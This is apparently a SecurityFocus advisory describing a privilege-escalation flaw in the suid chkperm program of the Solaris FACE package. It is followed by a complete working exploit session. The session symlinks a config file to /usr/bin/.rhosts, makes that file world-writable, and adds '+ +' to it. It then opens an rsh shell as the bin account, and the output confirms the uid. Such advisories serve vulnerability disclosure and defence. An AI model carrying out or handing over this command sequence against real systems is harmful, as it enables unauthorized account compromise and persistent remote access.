source: https://www.securityfocus.com/bid/295/info

Solaris 2.4, 2.5, and 2.5.1 (possibly other versions) have a package called FACE (Framed Access Command Environment) installed. Included in the package is a program called chkperm which checks a file to see if the user has permission to use the FACE interface. This program is installed suid and sgid bin, and is trivially exploitable to compromise the bin account under Solaris 2.4.

Running chkperm in a directory that has world write privilege or in a directory that belongs to bin. chkperm on Solaris 2.5 seems to create a file called <gibberish characters> in the directory from where you execute it. chkperm needs write access for user bin (or group bin) to the directory from which you execute it. It also works the same with just 'chkperm -l', you can set the environment variable VMSYS to anything.

You could then create the link (to .rhosts in the example) using the <gibberish characters> file name created by chkperm and accomplish the same result.

% mkdir /tmp/foo
% mkdir /tmp/foo/lib
% chmod -R 777 /tmp/foo
% setenv VMSYS /tmp/foo
% umask 0000
% ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
% /usr/vmsys/bin/chkperm -l -u foo
% ls -l /usr/bin/.rhosts
-rw-rw-rw- 2 bin bin 0 Nov 12 09:41 .rhosts
% echo "+ +" >> /usr/bin/.rhosts
% ls -l /usr/bin/.rhosts
-rw-rw-rw- 2 bin bin 4 Nov 12 09:41 .rhosts
% rsh -l bin localhost /bin/csh -i
Warning: no access to tty; thus no job control in this shell...
% id
uid=2(bin) gid=2(bin)